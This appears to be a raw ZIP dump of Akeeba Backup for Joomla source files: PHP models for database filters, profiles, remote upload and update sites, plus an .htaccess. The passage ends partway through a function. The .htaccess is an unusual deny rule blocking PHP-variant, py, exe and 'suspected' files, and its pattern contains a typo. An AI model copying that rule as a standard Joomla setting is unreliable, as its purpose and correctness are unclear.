}PK     \Sʉ      "  src/Model/UpgradeHandler/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \.n    "  src/Model/DatabasefiltersModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelExclusionFilterTrait;
use Akeeba\Engine\Factory;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseModel;

#[\AllowDynamicProperties]
class DatabasefiltersModel extends BaseModel
{
	use ModelExclusionFilterTrait;

	public function __construct($config = [])
	{
		parent::__construct($config);

		$this->knownFilterTypes = ['tables', 'tabledata'];
	}

	/**
	 * Returns a list of the database tables, views, procedures, functions and triggers,
	 * along with their filter status in array format, for use in the GUI
	 *
	 * @param   string  $root  The database root we're working on
	 *
	 * @return  array  Hash array. 'tables' is an array list of tables w/ metadata. 'root' is the current db root.
	 */
	public function makeListing(string $root): array
	{
		// Get database inclusion filters
		$filters       = Factory::getFilters();
		$database_list = $filters->getInclusions('db');

		// Load the database object for the selected database
		$config         = $database_list[$root];
		$config['user'] = $config['username'];
		$db             = Factory::getDatabase($config);

		// Load the table data
		try
		{
			$table_data = $db->getTables();
		}
		catch (Exception $e)
		{
			$table_data = [];
		}

		$tableMeta = [];

		try
		{
			$db->setQuery('SHOW TABLE STATUS');

			$temp = $db->loadAssocList();

			foreach ($temp as $record)
			{
				$tableMeta[$db->getAbstract($record['Name'])] = [
					'engine'      => $record['Engine'],
					'rows'        => $record['Rows'],
					'dataLength'  => $record['Data_length'],
					'indexLength' => $record['Index_length'],
				];
			}
		}
		catch (Exception $e)
		{
		}

		// Process filters
		$tables = [];

		if (!empty($table_data))
		{
			foreach ($table_data as $table_name => $table_type)
			{
				$status = [
					'engine'      => null,
					'rows'        => null,
					'dataLength'  => null,
					'indexLength' => null,
				];

				if (array_key_exists($table_name, $tableMeta))
				{
					$status = $tableMeta[$table_name];
				}

				// Add table type
				$status['type'] = $table_type;

				// Check dbobject/all filter (exclude)
				$result           = $filters->isFilteredExtended($table_name, $root, 'dbobject', 'all', $byFilter);
				$status['tables'] = (!$result) ? 0 : (($byFilter == 'tables') ? 1 : 2);

				// Check dbobject/content filter (skip table data)
				$result              = $filters->isFilteredExtended($table_name, $root, 'dbobject', 'content', $byFilter);
				$status['tabledata'] = (!$result) ? 0 : (($byFilter == 'tabledata') ? 1 : 2);

				// We can't filter contents of views, merge tables, black holes, procedures, functions and triggers
				if ($table_type != 'table')
				{
					$status['tabledata'] = 2;
				}

				$tables[$table_name] = $status;
			}
		}

		return [
			'tables' => $tables,
			'root'   => $root,
		];
	}

	/**
	 * Returns an array containing a mapping of db root names and their human-readable representation
	 *
	 * @return  array  Array of objects; "value" contains the root name, "text" the human-readable text
	 */
	public function getRoots(): array
	{
		// Get database inclusion filters
		$filters       = Factory::getFilters();
		$database_list = $filters->getInclusions('db');

		$ret = [];

		foreach ($database_list as $name => $definition)
		{
			$root = $definition['host'];

			if (!empty($definition['port']))
			{
				$root .= ':' . $definition['port'];
			}

			$root .= '/' . $definition['database'];

			if ($name == '[SITEDB]')
			{
				$root = Text::_('COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB');
			}

			$ret[] = (object) [
				'value' => $name,
				'text'  => $root,
			];
		}

		return $ret;
	}

	/**
	 * Toggle a filter
	 *
	 * @param   string  $root    Database root
	 * @param   string  $item    The db entity we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function toggle(string $root, string $item, string $filter): array
	{
		return $this->applyExclusionFilter($filter, $root, $item, 'toggle');
	}

	/**
	 * Set a filter
	 *
	 * @param   string  $root    Database root
	 * @param   string  $item    The db entity we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function remove(string $root, string $item, string $filter): array
	{
		return $this->applyExclusionFilter($filter, $root, $item, 'remove');
	}

	/**
	 * Set a filter
	 *
	 * @param   string  $root    Database root
	 * @param   string  $item    The db entity we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function setFilter(string $root, string $item, string $filter): array
	{
		return $this->applyExclusionFilter($filter, $root, $item, 'set');
	}

	/**
	 * Swap a filter
	 *
	 * @param   string  $root      Database root
	 * @param   string  $old_item  The db entity that used to be filtered and will no longer be
	 * @param   string  $new_item  The db entity that wasn't filtered but now will be
	 * @param   string  $filter    The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function swap(string $root, string $old_item, string $new_item, string $filter): array
	{
		return $this->applyExclusionFilter($filter, $root, $new_item, 'swap', $old_item);
	}

	/**
	 * Retrieves the filters as an array. Used for the tabular filter editor.
	 *
	 * @param   string  $root  The root node to search filters on
	 *
	 * @return  array  An array of hash arrays containing node and type for each filtered element
	 */
	public function getFilters(string $root): array
	{
		return $this->getTabularFilters($root);
	}

	/**
	 * Resets all filters
	 *
	 * @param   string  $root  Root directory
	 *
	 * @return  array
	 */
	public function resetFilters(string $root): array
	{
		$this->resetAllFilters($root);

		return $this->makeListing($root);
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax(): array
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', get_object_vars($action)) ? $action->verb : null;

		$ret_array = [];

		switch ($verb)
		{
			// Return a listing for the normal view
			case 'list':
				$ret_array = $this->makeListing($action->root);
				break;

			// Toggle a filter's state
			case 'toggle':
				$ret_array = $this->toggle($action->root, $action->node, $action->filter);
				break;

			// Set a filter (used by the editor)
			case 'set':
				$ret_array = $this->setFilter($action->root, $action->node, $action->filter);
				break;

			// Remove a filter (used by the editor)
			case 'remove':
				$ret_array = $this->remove($action->root, $action->node, $action->filter);
				break;

			// Swap a filter (used by the editor)
			case 'swap':
				$ret_array = $this->swap($action->root, $action->old_node, $action->new_node, $action->filter);
				break;

			// Tabular view
			case 'tab':
				$ret_array = [
					'list' => $this->getFilters($action->root)
				];
				break;

			// Reset filters
			case 'reset':
				$ret_array = $this->resetFilters($action->root);
				break;
		}

		return $ret_array;
	}
}PK     \!m  m    src/Model/ProfilesModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelStateFixTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Table\ProfileTable;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Database\DatabaseQuery;
use Joomla\Database\ParameterType;
use Joomla\Database\QueryInterface;
use RuntimeException;

#[\AllowDynamicProperties]
class ProfilesModel extends ListModel
{
	use ModelStateFixTrait;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 *
	 */
	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = [
				'search',
				'quickicon',
			];
		}

		parent::__construct($config, $factory);
	}

	/**
	 * Returns an associative array with profile IDs as keys and the post-processing engine as values
	 *
	 * @return  array
	 */
	public function getPostProcessingEnginePerProfile()
	{
		// Cache the current profile's ID
		$currentProfileID = JoomlaFactory::getApplication()->getSession()->get('akeebabackup.profile', null);

		// Get the IDs of all profiles
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('id'))
			->from($db->qn('#__akeebabackup_profiles'));
		$db->setQuery($query);
		$profiles = $db->loadColumn();

		// Initialise return;
		$engines = [];

		// Loop all profiles
		foreach ($profiles as $profileId)
		{
			Platform::getInstance()->load_configuration($profileId);
			$profileConfiguration = \Akeeba\Engine\Factory::getConfiguration();
			$engines[$profileId]  = $profileConfiguration->get('akeeba.advanced.postproc_engine');
		}

		// Reload the current profile
		Platform::getInstance()->load_configuration($currentProfileID);

		return $engines;
	}

	/**
	 * Save a profile from imported configuration data. The $data array must contain the keys description (profile
	 * description), configuration (engine configuration INI data) and filters (inclusion and inclusion filters JSON
	 * configuration data).
	 *
	 * @param   array  $data  See above
	 *
	 * @return  int|null
	 *
	 * @throws  RuntimeException|Exception  When an import error occurs
	 */
	public function import($data): ?int
	{
		// Check for data validity
		$isValid =
			is_array($data) &&
			!empty($data) &&
			array_key_exists('description', $data) &&
			array_key_exists('configuration', $data) &&
			array_key_exists('filters', $data);

		if (!$isValid)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID'));
		}

		// Unset the id, if it exists
		if (array_key_exists('id', $data))
		{
			unset($data['id']);
		}

		$data['akeeba.flag.confwiz'] = 1;

		// Try saving the profile
		/** @var ProfileTable $table */
		$table  = $this->getTable('Profile');
		$result = $table->save($data);

		if (!$result)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED'));
		}

		return $table->getId();
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 *
	 */
	protected function populateState($ordering = 'id', $direction = 'asc')
	{
		$app = Factory::getApplication();

		$search = $app->getUserStateFromRequest($this->context . 'filter.search', 'filter_search', '', 'string');
		$this->setState('filter.search', $search);

		$search = $app->getUserStateFromRequest($this->context . 'filter.quickicon', 'filter_quickicon', '', 'string');
		$this->setState('filter.quickicon', ($search === '') ? $search : (int) $search);

		parent::populateState($ordering, $direction);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return DatabaseQuery|QueryInterface
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 */
	protected function getListQuery()
	{
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select(['p.*', $db->quoteName('ag.title', 'access_level')])
			->from($db->qn('#__akeebabackup_profiles', 'p'))
			->join('LEFT', $db->quoteName('#__viewlevels', 'ag'), $db->quoteName('ag.id') . ' = ' . $db->quoteName('p.access'))
		;

		// Description / ID search filter
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$ids = (int) substr($search, 3);
				$query->where($db->quoteName('id') . ' = :id')
					->bind(':id', $ids, ParameterType::INTEGER);
			}
			else
			{
				$search = '%' . $search . '%';
				$query->where($db->qn('description') . ' LIKE :search')
					->bind(':search', $search);
			}
		}

		// Quickicon filter
		$quickIcon = $this->getState('filter.quickicon');

		if (is_numeric($quickIcon))
		{
			$query->where($db->qn('quickicon') . ' = :quickicon')
				->bind(':quickicon', $quickIcon, ParameterType::INTEGER);
		}

		$access_levels = $this->getState('filter.access_level');

		if (!empty($access_levels) && is_array($access_levels))
		{
			$query->whereIn($db->quoteName('p.access'), $access_levels);
		}

		return $query;
	}

}PK     \?1"  "    src/Model/UploadModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\MVC\Model\BaseModel;
use LogicException;

#[\AllowDynamicProperties]
class UploadModel extends BaseModel
{
	/**
	 * Upload an archive part to remote storage
	 *
	 * @param   int  $id    Backup record ID
	 * @param   int  $part  Part to upload. 0 is the first part (e.g. .jpa), 1 the second (e.g. .j01) etc.
	 * @param   int  $frag  Fragment (chunk) of the part to upload. The first fragment is 0.
	 *
	 * @return  bool  True if the upload of this file is done, false if more work is necessary
	 *
	 * @throws Exception
	 */
	public function upload(int $id, int $part, int $frag)
	{
        // Initialize
		/** @var CMSApplication $app */
		$app             = JoomlaFactory::getApplication();
		$stat            = Platform::getInstance()->get_statistics($id);
		$returnStatus    = false;
		$remote_filename = null;

		// The number of parts must be AT LEAST 1. If it's 0 it mean no split archive, i.e. a single part.
		$stat['multipart'] = max($stat['multipart'], 1);

		// Load the Factory
		$savedFactory = $app->getSession()->get('akeebabackup.upload_factory', null);
		$logger       = Factory::getLog();

		if ($savedFactory)
		{
			Factory::unserialize($savedFactory);
			Platform::getInstance()->load_configuration($stat['profile_id']);
			$logger->open('backend');
			$logger->info(sprintf(
				'Continuing transfer of backup record #%d (part %d, fragment %d)',
				$id, $part, $frag
			));
		}
		else
		{
			Platform::getInstance()->load_configuration($stat['profile_id']);
			$logger->reset('backend');
			$logger->info(sprintf(
				"Starting transfer of the files of backup record #%d to remote storage using post-processing engine %s.",
				$id,
				Factory::getConfiguration()->get('akeeba.advanced.postproc_engine')));
		}

		// Load the post-processing engine
		$config      = Factory::getConfiguration();
		$engine_name = $config->get('akeeba.advanced.postproc_engine');
		$engine      = Factory::getPostprocEngine($engine_name);

		// Get the timer and reset it
		$timer = Factory::getTimer();
		$timer->resetTime();

		while ($timer->getTimeLeft() > 0.01)
		{
			// Start counting the time for this part
			$startTime = $timer->getRunningTime();

			// Calculate the filenames
			$local_filename = $stat['absolute_path'];
			$basename       = basename($local_filename);
			$extension      = strtolower(str_replace(".", "", strrchr($basename, ".")));
			$new_extension  = $extension;

			if ($part > 0)
			{
				$new_extension = substr($extension, 0, 1) . sprintf('%02u', $part);
			}

			$local_filename = substr($local_filename, 0, -strlen($extension)) . $new_extension;

			// Start uploading
			try
			{
				$result = $engine->processPart($local_filename);
			}
			catch (Exception $e)
			{
				$app->getSession()->remove('akeebabackup.upload_factory');

				throw $e;
			}

			if (!is_bool($result))
			{
				throw new LogicException(sprintf("Unexpected result from %s: %s", get_class($engine), print_r($result, true)));
			}

			// Stop the running timer
			$endTime     = $timer->getRunningTime();
			$elapsedTime = $endTime - $startTime;

			// What is the next part and frag to upload?
			$frag++;

			if ($result === true)
			{
				$part++;
				$frag = 0;
			}

			// Calculate the remote filename
			$remote_filename = $config->get('akeeba.advanced.postproc_engine', '') . '://';
			$remote_filename .= $engine->getRemotePath();

			/**
			 * Am I already finished?
			 *
			 * Parts are uploaded in the order 0, 1, 2, ... Part 0 is the .jpa/.jps/.zip file. Part 1 is .j01/.z01 and
			 * so forth.
			 *
			 * $stat['multipart'] contains the total number of parts. Let's say it's 5. This means that we need to
			 * upload parts 0, 1, 2, 3 and 4. When $part is 5 (or greater, even though that'd be a bug) we must stop
			 * at one.
			 *
			 * In the edge case where $stat['multipart'] is 1 the same thing applies. The only part we must transfer is
			 * 0. If $part is 1 we're done.
			 *
			 * Therefore the condition for checking whether we're all done is that $part is greater than zero (we have
			 * already uploaded the first and possibly only part) AND $part is greater than OR EQUAL to the total number
			 * of parts in the backup archive set.
			 */
			if (($part >= 0) && ($part >= $stat['multipart']))
			{
				Factory::getLog()->info(sprintf(
					'Finished transfer of backup record #%d',
					$id
				));

				// Update stats with remote filename
				$data = [
					'remote_filename' => $remote_filename,
				];

				Platform::getInstance()->set_or_update_statistics($id, $data);

				// Indicate that we're all done
				$returnStatus = true;

				break;
			}

			// Do I have enough time for another fragment's upload?
			if ($timer->getTimeLeft() < (2.0 * $elapsedTime))
			{
				break;
			}

			$logger->info(sprintf(
				'Continuing transfer of backup record #%d (part %d, fragment %d)',
				$id, $part, $frag
			));
		}

		// Serialize the factory
		$app->getSession()->set('akeebabackup.upload_factory', $returnStatus ? null : Factory::serialize());

		// Should I tell the user that we have more work to do?
		if (!$returnStatus)
		{
			Factory::getLog()->info(sprintf(
				'The transfer of backup record #%d will continue on the next step',
				$id
			));
		}

		// Update the Model state
		$this->setState('id', $id);
		$this->setState('part', $part);
		$this->setState('frag', $frag);
		$this->setState('stat', $stat);
		$this->setState('remotename', $remote_filename);

		$timer->enforce_min_exec_time();

		return $returnStatus;
	}

}PK     \ E  E    src/Model/UpdatesModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Exception;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Table\Extension;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\ParameterType;
use SimpleXMLElement;

#[\AllowDynamicProperties]
class UpdatesModel extends BaseDatabaseModel
{
	/** @var int The extension_id of this component */
	protected $extension_id = 0;

	/** @var string The currently installed version, as reported by the #__extensions table */
	protected $version = 'dev';

	/** @var string The URL to the component's update XML stream */
	protected $updateSite;

	/** @var string The name to the component's update site (description of the update XML stream) */
	protected $updateSiteName;

	protected $extensionKey = 'pkg_akeebabackup';

	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		parent::__construct($config, $factory);

		$this->version        = AKEEBABACKUP_VERSION;
		$this->updateSite     = 'https://cdn.akeeba.com/updates/pkgakeebabackupcore.xml';
		$this->updateSiteName = 'Akeeba Backup Core for Joomla!';

		if (defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : 0)
		{
			$this->updateSite     = 'https://cdn.akeeba.com/updates/pkgakeebabackuppro.xml';
			$this->updateSiteName = 'Akeeba Backup Professional for Joomla!';
		}

		$this->extension_id = $this->findExtensionId($this->extensionKey, 'package');

		if (empty($this->extension_id))
		{
			$this->createFakePackageExtension();
			$this->extension_id = $this->findExtensionId($this->extensionKey, 'package');
		}
	}

	/**
	 * Refreshes the Joomla! update sites for this extension as needed
	 *
	 * @return  void
	 */
	public function refreshUpdateSite(): void
	{
		if (empty($this->extension_id))
		{
			return;
		}

		// Create the update site definition we want to store to the database
		$update_site = [
			'name'                 => $this->updateSiteName,
			'type'                 => 'extension',
			'location'             => $this->updateSite,
			'enabled'              => 1,
			'last_check_timestamp' => 0,
			// 'extra_query'          => 'dlid=' . $this->getLicenseKey(),
		];

		// Get a reference to the db driver
		$db = $this->getDatabase();

		// Get the update sites for our extension
		$updateSiteIds = $this->getUpdateSiteIds();

		if (empty($updateSiteIds))
		{
			$updateSiteIds = [];
		}

		/** @var boolean $needNewUpdateSite Do I need to create a new update site? */
		$needNewUpdateSite = true;

		/** @var int[] $deleteOldSites Old Site IDs to delete */
		$deleteOldSites = [];

		// Loop through all update sites
		foreach ($updateSiteIds as $id)
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select('*')
				->from($db->qn('#__update_sites'))
				->where($db->qn('update_site_id') . ' = :usid')
				->bind(':usid', $id, ParameterType::INTEGER);

			try
			{
				$aSite = $db->setQuery($query)->loadObject() ?: null;
			}
			catch (Exception $e)
			{
				$aSite = null;
			}

			if (empty($aSite))
			{
				// This update site no longer exists.
				continue;
			}

			// We have an update site that looks like ours
			if ($needNewUpdateSite && ($aSite->name == $update_site['name']) && ($aSite->location == $update_site['location']))
			{
				$needNewUpdateSite = false;
				$mustUpdate        = false;

				// Is it enabled? If not, enable it.
				if (!$aSite->enabled)
				{
					$mustUpdate     = true;
					$aSite->enabled = 1;
				}

				// Is the extra_query missing from this update site but already have an extra_query from an older one?
				if (empty($aSite->extra_query) && !empty($update_site['extra_query']))
				{
					$mustUpdate         = true;
					$aSite->extra_query = $update_site['extra_query'];
				}

				// Update the update site if necessary
				if ($mustUpdate)
				{
					$db->updateObject('#__update_sites', $aSite, 'update_site_id', true);
				}

				continue;
			}

			// Try to carry forward the first extra query (download key) found in the old update sites.
			$update_site['extra_query'] = ($update_site['extra_query'] ?? '') ?: ($aSite->extra_query ?: '');

			// In any other case we need to delete this update site, it's obsolete
			$deleteOldSites[] = $aSite->update_site_id;
		}

		if (!empty($deleteOldSites))
		{
			try
			{
				// Delete update sites
				$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
					->delete('#__update_sites')
					->whereIn($db->qn('update_site_id'), $deleteOldSites, ParameterType::INTEGER);
				$db->setQuery($query)->execute();

				// Delete update sites to extension ID records
				$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
					->delete('#__update_sites_extensions')
					->whereIn($db->qn('update_site_id'), $deleteOldSites, ParameterType::INTEGER);
				$db->setQuery($query)->execute();
			}
			catch (\Exception $e)
			{
				// Do nothing on failure
				return;
			}

		}

		// Do we still need to create a new update site?
		if ($needNewUpdateSite)
		{
			$update_site['extra_query'] = $update_site['extra_query'] ?? '';

			// No update sites defined. Create a new one.
			$newSite = (object) $update_site;
			$db->insertObject('#__update_sites', $newSite);

			$id                  = $db->insertid();
			$updateSiteExtension = (object) [
				'update_site_id' => $id,
				'extension_id'   => $this->extension_id,
			];
			$db->insertObject('#__update_sites_extensions', $updateSiteExtension);
		}
	}

	/**
	 * Gets the update site Ids for our extension.
	 *
	 * @return    array    An array of IDs
	 */
	public function getUpdateSiteIds(): array
	{
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('update_site_id'))
			->from($db->qn('#__update_sites_extensions'))
			->where($db->qn('extension_id') . ' = :eid')
			->bind(':eid', $this->extension_id, ParameterType::INTEGER);

		try
		{
			$ret = $db->setQuery($query)->loadColumn(0);
		}
		catch (Exception $e)
		{
			$ret = null;
		}

		return is_array($ret) ? $ret : [];
	}

	/**
	 * Get the contents of all the update sites of the configured extension
	 *
	 * @return  array|null
	 */
	public function getUpdateSites(): ?array
	{
		$updateSiteIDs = $this->getUpdateSiteIds();
		$db            = $this->getDatabase();
		$query         = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn('#__update_sites'))
			->where($db->qn('update_site_id') . ' IN (' . implode(', ', $updateSiteIDs) . ')');

		try
		{
			$db->setQuery($query);

			$ret = $db->loadAssocList('update_site_id');
		}
		catch (Exception $e)
		{
			$ret = null;
		}

		return empty($ret) ? [] : $ret;
	}

	/**
	 * Gets the license key for a paid extension.
	 *
	 * On Joomla! 3 or when $forceLegacy is true we look in the component Options.
	 *
	 * On Joomla! 4 we use the information in the dlid element of the extension's XML manifest to parse the extra_query
	 * fields of all configured update sites of the extension. This is the same thing Joomla does when it tries to
	 * determine the license key of our extension when installing updates. If the extension is missing, it has no
	 * associated update sites, the update sites are missing / rebuilt / disassociated from the extension or the
	 * extra_query of all update site records is empty we parse the $extraQuery set in the constructor, if any. Also
	 * note that on Joomla 4 mode if the extension does not exist, does not have a manifest or does not have a valid
	 * dlid element in its manifest we will end up returning an empty string, just like Joomla! itself would have done
	 * when installing updates.
	 *
	 * @param   bool  $forceLegacy  Should I always retrieve the legacy license key, even in J4?
	 *
	 * @return  string
	 */
	public function getLicenseKey(bool $forceLegacy = false): string
	{
		// Joomla! 4. We need to parse the extra_query of the update sites to get the correct Download ID.
		$updateSites = $this->getUpdateSites();
		$extra_query = array_reduce($updateSites, function ($extra_query, $updateSite) {
			if (!empty($extra_query))
			{
				return $extra_query;
			}

			return $updateSite['extra_query'];
		}, '');

		// Fall back to legacy extra query
		if (empty($extra_query))
		{
			return '';
		}

		// Return the parsed results.
		return $this->getLicenseKeyFromExtraQuery($extra_query);
	}

	/**
	 * Returns an object with the #__extensions table record for the current extension.
	 *
	 * @return  object|null
	 */
	public function getExtensionObject()
	{
		[$extensionPrefix, $extensionName] = explode('_', $this->extensionKey);

		switch ($extensionPrefix)
		{
			default:
			case 'com':
				$type = 'component';
				$name = $this->extensionKey;
				break;

			case 'pkg':
				$type = 'package';
				$name = $this->extensionKey;
				break;
		}

		// Find the extension ID
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('*')
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = :type')
			->where($db->qn('element') . ' = :name')
			->bind(':type', $type)
			->bind(':name', $name);

		try
		{
			$db->setQuery($query);
			$extension = $db->loadObject();
		}
		catch (Exception $e)
		{
			return null;
		}

		return $extension;
	}

	/**
	 * Sanitizes the license key.
	 *
	 * YOU SHOULD OVERRIDE THIS METHOD. The default implementation returns a lowercase string with all characters except
	 * letters, numbers and colons removed.
	 *
	 * @param   string  $licenseKey
	 *
	 * @return  string  The sanitized license key
	 */
	public function sanitizeLicenseKey(string $licenseKey): string
	{
		return strtolower(preg_replace("/[^a-zA-Z0-9:]/", "", $licenseKey));
	}

	/**
	 * Is the provided string a valid license key?
	 *
	 * YOU SHOULD OVERRIDE THIS METHOD. The default implementation checks for valid Download IDs in the format used by
	 * Akeeba software.
	 *
	 * @param   string  $licenseKey
	 *
	 * @return  bool
	 */
	public function isValidLicenseKey(string $licenseKey): bool
	{
		return preg_match('/^(\d{1,}:)?[0-9a-f]{32}$/i', $licenseKey) === 1;
	}

	/**
	 * Extract the download ID from an extra_query based on the prefix and suffix information stored in the dlid element
	 * of the extension's XML manifest file.
	 *
	 * @param   string  $extra_query
	 *
	 * @return string
	 */
	protected function getLicenseKeyFromExtraQuery(?string $extra_query): string
	{
		$extra_query = trim($extra_query ?? '');

		if (empty($extra_query))
		{
			return '';
		}

		// Get the extension XML manifest. If the extension or the manifest don't exist return an empty string.
		$extension = $this->getExtensionObject();

		if (!$extension)
		{
			return '';
		}

		$installXmlFile = $this->getManifestXML(
			$extension->element,
			$extension->type,
			(int) $extension->client_id,
			$extension->folder
		);

		if (!$installXmlFile)
		{
			return '';
		}

		// If the manifest does not have a dlid element return an empty string.
		if (!isset($installXmlFile->dlid))
		{
			return '';
		}

		// Naive parsing of the extra_query, the same way Joomla does.
		$prefix     = (string) $installXmlFile->dlid['prefix'];
		$suffix     = (string) $installXmlFile->dlid['suffix'];
		$licenseKey = substr($extra_query, strlen($prefix));

		if ($licenseKey === false)
		{
			return '';
		}

		if ($suffix !== '')
		{
			$licenseKey = substr($licenseKey, 0, -strlen($suffix));
		}

		return ($licenseKey === false) ? '' : $licenseKey;
	}

	/**
	 * Get the manifest XML file of a given extension.
	 *
	 * @param   string   $element    element of an extension
	 * @param   string   $type       type of an extension
	 * @param   integer  $client_id  client_id of an extension
	 * @param   string   $folder     folder of an extension
	 *
	 * @return  SimpleXMLElement|bool False on failure
	 */
	protected function getManifestXML(string $element, string $type, int $client_id = 1, ?string $folder = null)
	{
		$path = ($client_id !== 0) ? JPATH_ADMINISTRATOR : JPATH_ROOT;

		switch ($type)
		{
			case 'component':
				$path .= '/components/' . $element . '/' . substr($element, 4) . '.xml';
				break;
			case 'plugin':
				$path .= '/plugins/' . $folder . '/' . $element . '/' . $element . '.xml';
				break;
			case 'module':
				$path .= '/modules/' . $element . '/' . $element . '.xml';
				break;
			case 'template':
				$path .= '/templates/' . $element . '/templateDetails.xml';
				break;
			case 'library':
				$path = JPATH_ADMINISTRATOR . '/manifests/libraries/' . $element . '.xml';
				break;
			case 'file':
				$path = JPATH_ADMINISTRATOR . '/manifests/files/' . $element . '.xml';
				break;
			case 'package':
				$path = JPATH_ADMINISTRATOR . '/manifests/packages/' . $element . '.xml';
		}

		return simplexml_load_file($path);
	}

	/**
	 * Gets the ID of an extension
	 *
	 * @param   string  $element  Extension element, e.g. com_foo, mod_foo, lib_foo, pkg_foo or foo (CAUTION: plugin,
	 *                            file!)
	 * @param   string  $type     Extension type: component, module, library, package, plugin or file
	 * @param   null    $folder   Plugins: plugin folder. Modules: admin/site
	 *
	 * @return  int  Extension ID or 0 on failure
	 */
	private function findExtensionId(string $element, string $type = 'component', ?string $folder = null): int
	{
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('extension_id'))
			->from($db->qn('#__extensions'))
			->where($db->qn('element') . ' = :element')
			->where($db->qn('type') . ' = :type')
			->bind(':element', $element, ParameterType::STRING)
			->bind(':type', $type, ParameterType::STRING);

		// Plugin? We should look for a folder
		if ($type == 'plugin')
		{
			$folder = $folder ?: 'system';

			$query->where($db->qn('folder') . ' = ' . $db->q($folder));
		}

		// Module? Use the folder to determine if it's site or admin module.
		if ($type == 'module')
		{
			$folder = $folder ?: 'site';

			$query->where($db->qn('client_id') . ' = ' . $db->q(($folder == 'site') ? 0 : 1));
		}

		try
		{
			$id = $db->setQuery($query, 0, 1)->loadResult();
		}
		catch (Exception $e)
		{
			$id = 0;
		}

		return empty($id) ? 0 : (int) $id;
	}

	private function createFakePackageExtension()
	{
		/** @var DatabaseDriver $db */
		$db = $this->getDatabase();

		$manifestCacheJson = json_encode([
			'name'         => 'Akeeba Backup for Joomla! package',
			'type'         => 'package',
			'creationDate' => gmdate('Y-m-d'),
			'author'       => 'Nicholas K. Dionysopoulos',
